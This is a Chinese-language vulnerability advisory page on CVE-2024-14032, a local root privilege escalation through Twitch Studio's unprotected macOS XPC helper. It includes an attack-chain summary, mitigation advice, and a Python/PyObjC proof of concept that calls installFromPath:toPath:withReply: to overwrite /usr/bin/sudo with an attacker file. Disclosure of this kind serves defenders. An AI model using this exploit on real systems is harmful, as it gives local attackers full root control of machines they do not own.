IPBUF安全漏洞报告
English
CVE-2024-14032 CVSS 7.8 高危

CVE-2024-14032 Twitch Studio权限提升漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2024-14032
漏洞类型
权限提升
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Twitch Studio

相关标签

权限提升本地攻击Twitch StudiomacOSXPCCVE-2024-14032

漏洞概述

Twitch Studio 0.114.8及更早版本中存在严重的权限提升漏洞。该漏洞源于其特权辅助工具中暴露了一个未受保护的XPC服务。本地低权限攻击者可利用此漏洞,通过调用特定方法以root权限覆盖系统文件和特权二进制文件,从而执行任意代码并完全控制系统。值得注意的是,Twitch Studio已于2024年5月停止维护,官方可能不会发布修复补丁。

技术细节

该漏洞的核心在于Twitch Studio的特权辅助工具未能正确验证XPC(进程间通信)服务的调用者权限。在macOS系统中,XPC服务通常用于应用程序与具有更高权限的辅助进程之间进行通信。由于该XPC服务缺乏适当的授权检查,任何本地用户均可连接并调用其暴露的方法。
具体利用方式涉及调用`installFromPath:toPath:withReply:`接口。该方法允许将文件从源路径复制到目标路径。攻击者可以构造恶意代码,并将源路径指向该恶意文件,同时将目标路径指向系统敏感位置(如`/usr/bin/`、`/Library/LaunchDaemons/`等)。由于辅助工具以root身份运行,文件写入操作继承root权限。通过覆盖系统关键二进制文件(如`sudo`)或加载恶意Launch Daemon,攻击者即可在无需用户交互的情况下,将权限提升至root,并实现对受害主机的完全控制。

攻击链分析

STEP 1
侦察
攻击者确认目标系统上安装了存在漏洞的Twitch Studio版本(<= 0.114.8)。
STEP 2
建立连接
攻击者以低权限用户身份运行恶意脚本,连接到Twitch Studio暴露的本地XPC服务。
STEP 3
利用漏洞
攻击者调用未受保护的`installFromPath:toPath:withReply:`方法,请求将恶意文件复制到系统敏感目录(如覆盖`/usr/bin/sudo`)。
STEP 4
权限提升
由于XPC服务以root权限运行,系统文件被恶意文件覆盖。攻击者执行被篡改的系统命令,获取Root Shell。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2024-14032 (Conceptual Python/PyObjC) # This script demonstrates how to interact with the vulnerable XPC service. import Foundation import objc # Define the Mach Service name (Example based on typical helper structures) MACH_SERVICE_NAME = "com.twitch.TwitchStudio.Helper" def exploit_privilege_escalation(): print("[*] Attempting to connect to XPC service: {}".format(MACH_SERVICE_NAME)) # Create a connection to the privileged helper tool connection = Foundation.NSXPCConnection.alloc().initWithMachServiceName_options_( MACH_SERVICE_NAME, 0 ) # Define the interface (Protocol must be inferred or known) # Assuming a protocol 'HelperProtocol' exists with the vulnerable method connection.remoteObjectInterface = Foundation.NSXPCInterface.alloc().initWithProtocol_( objc.protocolNamed("HelperProtocol") ) connection.resume() # Get the remote object proxy remote_object = connection.remoteObjectProxy # Define paths for the attack # Source: A malicious payload controlled by the attacker malicious_source_path = "/tmp/malicious_payload" # Destination: A sensitive system binary to overwrite (e.g., sudo) target_system_path = "/usr/bin/sudo" print("[*] Invoking installFromPath:toPath:withReply: to overwrite {}...".format(target_system_path)) # Invoke the vulnerable method to copy file as root # Method signature: installFromPath:toPath:withReply: try: remote_object.installFromPath_toPath_withReply_( malicious_source_path, target_system_path, lambda success, error: handle_reply(success, error) ) except Exception as e: print("[-] Exploit failed: {}".format(str(e))) finally: # Keep connection alive briefly for the async call Foundation.NSRunLoop.currentRunLoop().runUntilDate_(Foundation.NSDate.dateWithTimeIntervalSinceNow_(2)) connection.invalidate() def handle_reply(success, error): if success: print("[+] Exploit successful! System file overwritten.") else: print("[-] Error returned by helper: {}".format(str(error))) if __name__ == "__main__": exploit_privilege_escalation()

影响范围

Twitch Studio <= 0.114.8

防御指南

临时缓解措施
由于Twitch Studio已于2024年5月停止服务且不再提供更新,建议用户立即卸载该软件以消除安全隐患。如果无法卸载,应确保macOS的系统完整性保护(SIP)处于开启状态,以防止对系统关键文件的写入,并严格限制本地用户对系统目录的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表